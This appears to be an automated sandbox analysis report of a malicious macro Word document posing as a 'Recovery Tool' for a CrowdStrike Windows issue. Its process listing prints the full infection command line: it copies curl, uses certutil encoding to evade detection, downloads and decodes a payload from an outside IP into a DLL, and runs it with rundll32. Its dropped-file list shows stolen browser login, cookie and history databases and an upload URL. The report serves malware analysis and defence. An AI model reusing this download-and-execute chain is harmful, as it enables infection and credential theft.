Microsoft Cabinet archive data, many, 12767 bytes, 2 files, at 0x4c "ieee2006officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab80AB.tmp

Microsoft Cabinet archive data, many, 624532 bytes, 2 files, at 0x44 +A "content.inf" +A "Quotable.thmx", flags 0x4, ID 13510, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab80DB.tmp

Microsoft Cabinet archive data, many, 682092 bytes, 2 files, at 0x44 +A "Berlin.thmx" +A "content.inf", flags 0x4, ID 46672, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab81B9.tmp

Microsoft Cabinet archive data, many, 1049713 bytes, 2 files, at 0x44 +A "content.inf" +A "Savon.thmx", flags 0x4, ID 60609, number 1, extra bytes 20 in head, 37 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8209.tmp

Microsoft Cabinet archive data, many, 1081343 bytes, 2 files, at 0x44 +A "Circuit.thmx" +A "content.inf", flags 0x4, ID 11309, number 1, extra bytes 20 in head, 45 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8258.tmp

Microsoft Cabinet archive data, many, 937309 bytes, 2 files, at 0x44 +A "content.inf" +A "Gallery.thmx", flags 0x4, ID 44349, number 1, extra bytes 20 in head, 34 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8307.tmp

Microsoft Cabinet archive data, many, 1291243 bytes, 2 files, at 0x44 +A "content.inf" +A "Droplet.thmx", flags 0x4, ID 47417, number 1, extra bytes 20 in head, 54 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8451.tmp

Microsoft Cabinet archive data, many, 1750009 bytes, 2 files, at 0x44 +A "content.inf" +A "Slate.thmx", flags 0x4, ID 28969, number 1, extra bytes 20 in head, 72 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab84A1.tmp

Microsoft Cabinet archive data, many, 1865728 bytes, 2 files, at 0x44 +A "content.inf" +A "Damask.thmx", flags 0x4, ID 63852, number 1, extra bytes 20 in head, 68 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab858E.tmp

Microsoft Cabinet archive data, many, 2573508 bytes, 2 files, at 0x44 +A "content.inf" +A "Mesh.thmx", flags 0x4, ID 62129, number 1, extra bytes 20 in head, 94 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab867A.tmp

Microsoft Cabinet archive data, many, 2511552 bytes, 2 files, at 0x44 +A "content.inf" +A "Main_Event.thmx", flags 0x4, ID 59889, number 1, extra bytes 20 in head, 90 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8832.tmp

Microsoft Cabinet archive data, many, 3239239 bytes, 2 files, at 0x44 +A "content.inf" +A "Vapor_Trail.thmx", flags 0x4, ID 19811, number 1, extra bytes 20 in head, 111 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8833.tmp

Microsoft Cabinet archive data, many, 3400898 bytes, 2 files, at 0x4c "Insight design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 106 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\curl.exe

PE32 executable (console) Intel 80386, for MS Windows

dropped

C:\Users\user\AppData\Local\Temp\mso2566.tmp

GIF image data, version 89a, 15 x 15

dropped

C:\Users\user\AppData\Local\Temp\mso40F2.tmp

GIF image data, version 89a, 15 x 15

dropped

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

data

dropped

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.LNK

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Oct 5 05:47:15 2023, mtime=Mon Jul 22 12:58:42 2024, atime=Mon Jul 22 12:57:38 2024, length=250145, window=hide

dropped

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Directory, ctime=Mon Jul 22 12:57:39 2024, mtime=Mon Jul 22 12:59:07 2024, atime=Mon Jul 22 12:59:07 2024, length=0, window=hide

dropped

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Generic INItialization configuration [folders]

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox (copy)

Microsoft OOXML

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851216[[fn=apasixtheditionofficeonline]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851217[[fn=chicago]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851219[[fn=gostname]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851220[[fn=gosttitle]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851221[[fn=harvardanglia2008officeonline]].xsl (copy)

XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851222[[fn=ieee2006officeonline]].xsl (copy)

XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851224[[fn=iso690nmerical]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851225[[fn=mlaseventheditionofficeonline]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851226[[fn=turabian]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl (copy)

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx (copy)

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx (copy)

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx (copy)

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx (copy)

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm (copy)

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

data

modified

C:\Users\user\AppData\Roaming\Microsoft\Templates\~WRD0000.tmp

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Unicode text, UTF-16, little-endian text, with no line terminators

dropped

C:\Users\user\Desktop\~$w_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

data

dropped

C:\Users\user\Downloads\7f4ed3e9-8c0a-4989-857e-ae968b50b483.tmp

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\Downloads\MsftRecoveryToolForCSv2.zip.crdownload

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Windows\Temp\Login Data

SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1

dropped

C:\Windows\Temp\SGlzdG9yeQ==

SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1

dropped

C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY=

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\TVhQWENWUERWTi5kb2N4

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\TkVCRlFRWVdQUy54bHN4

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\U0ZQVVNBRklPTC54bHN4

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\U0ZQVVNBRklPTC5kb2N4

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\UElWRkFHRUFBVi5wZGY=

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\UU5DWUNERklKSi54bHN4

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\UUNGV1lTS01IQS5wZGY=

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\V2ViIERhdGE=

SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3

dropped

C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY=

ASCII text, with very long lines (1024), with CRLF line terminators

dropped

C:\Windows\Temp\cGxhY2VzLnNxbGl0ZQ==

SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2

dropped

C:\Windows\Temp\cookies.sqlite

SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3

dropped

C:\Windows\Temp\cookies.sqlite-shm

data

dropped

C:\Windows\Temp\result.txt

ASCII text, with CRLF line terminators

dropped

Chrome Cache Entry: 371

Zip archive data, at least v2.0 to extract, compression method=deflate

downloaded

\Device\ConDrv

ASCII text, with CR, LF line terminators

dropped

There are 273 hidden files, click here to show them.

Processes

Path

Cmdline

Malicious

C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit

C:\Windows\SysWOW64\certutil.exe

certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt

C:\Windows\SysWOW64\certutil.exe

certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe

C:\Users\user\AppData\Local\Temp\curl.exe

C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt

C:\Windows\SysWOW64\certutil.exe

certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll

C:\Windows\System32\rundll32.exe

rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,14189460158267219968,9438605418759963760,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://go.microsoft.com/fwlink/?linkid=2280386"

C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\certutil.exe

certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt

C:\Windows\SysWOW64\certutil.exe

certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe

C:\Users\user\AppData\Local\Temp\curl.exe

C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt

C:\Windows\SysWOW64\certutil.exe

certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll

C:\Windows\System32\rundll32.exe

rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\xcopy.exe

xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp

C:\Windows\SysWOW64\rundll32.exe

rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\taskkill.exe

taskkill /F /IM chrome.exe

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\xcopy.exe

xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp

C:\Windows\SysWOW64\rundll32.exe

rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\taskkill.exe

taskkill /F /IM chrome.exe

There are 19 hidden processes, click here to show them.

URLs

Name

Malicious

http://172.104.160.126:8099

unknown

http://172.104.160.

unknown

http://172.104.160.126:5000/Uploadss

172.104.160.126

http://172.104.160.126:8099/pay

unknown

http://172.104.160.126:8099/payload2.txt

172.104.160.126

https://duckduckgo.com/chrome_newtab

unknown

http://172.104.160.126:8099/payload2.txt6ov

unknown

https://curl.se/libcurl/c/curl_easy_setopt.html

unknown

https://duckduckgo.com/ac/?q=

unknown

https://www.google.com/images/branding/product/ico/googleg_lodp.ico

unknown

https://curl.se/docs/http-cookies.html

unknown

http://172.104.160.126:80X99

unknown

https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=

unknown

http://172.104.160.126:8099/payload2.txt-oC:

unknown

https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=

unknown

http://172.104.160.126:5000/Upl

unknown

https://curl.se/docs/alt-svc.html

unknown

https://www.ecosia.org/newtab/

unknown

https://curl.se/docs/sslcerts.html

unknown

https://curl.se/docs/sslcerts.htmlcurl

unknown

https://ac.ecosia.org/autocomplete?q=

unknown

https://curl.se/docs/hsts.html

unknown

http://172.104.160.126:8099/payload2.txton

unknown

https://aka.ms/vs/17/release/vc_redist.x64.exe

unknown

https://curl.se/docs/alt-svc.html#

unknown

https://curl.se/docs/copyright.htmlD

unknown

https://curl.se/docs/hsts.html#

unknown

https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search

unknown

http://172.104.160.126:8099/payload2.txtr

unknown

http://172.104.160.126:8099/pay0

unknown

http://172.104.160.126:8099/payload2.txts

unknown

https://curl.se/P

unknown

https://curl.se/docs/http-cookies.html#

unknown

http://172.104.160.126:8099/payload2.txt6

unknown

https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=

unknown

http://172.104.160.126:8099/payload2.txto

unknown

There are 26 hidden URLs, click here to show them.

Domains

Name

Malicious

www.google.com

142.250.186.164

Details

Name:	www.google.com
IP:	142.250.186.164
TargetID:	22
Current Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

IPs

Domain

Country

Malicious

172.104.160.126

unknown

United States

Details

IP:	172.104.160.126
TargetID:	13
Current Path:	C:\Users\user\AppData\Local\Temp\curl.exe
Country:	United States
Countrycode:	USA
ASN number:	63949
ASN name:	LINODE-APLinodeLLCUS
Private:	false

Signature Hits	Behavior Group	Mitre Attack
System process connects to network (likely due to code injection or exploit)	Networking, HIPS / PFW / Operating System Protection Evasion	Process Injection
Document contains an embedded VBA macro which may execute processes	System Summary	Scripting
Sigma detected: Suspicious Microsoft Office Child Process	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Document embeds suspicious OLE2 link	System Summary
HTTP GET or POST without a user agent	Networking
Sigma detected: Suspicious Copy From or To System Directory	System Summary
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

192.168.2.6

unknown

Details

IP:	192.168.2.6
TargetID:	21
Current Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Private:	true

Signature Hits	Behavior Group	Mitre Attack
Detected non-DNS traffic on DNS port	Networking
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking
Uses secure TLS version for HTTPS connections	Compliance, Networking

239.255.255.250

unknown

Reserved

142.250.186.164

www.google.com

United States

Registry

Path

Value

Malicious

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\2156

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\StartupItems

:~*

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Wizards

PageSize

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\MailSettings

Template

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

AutoRecoverySaveIntervalMetadata

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\word

Language

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\word

EcsRequestPending

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\word

SubscriptionCustomerLicenseInfo

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

ACUpdated

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

DefaultKerningLigatures

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\WEF

Word_RequireForceRefreshAtBoot

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\StartupItems

fl*

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\FileBlock

FileTypeBlockList

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\FileBlock

OoxmlConverterBlockList

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F00000000000000000F01FEC\Usage

NULL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F00000000000000000F01FEC\Usage

VBAFiles

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency

PotentialDataLossInfo2

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ReviewCycle

ReviewToken

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\word

BuildNumber

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word

Expires

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.1

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.2

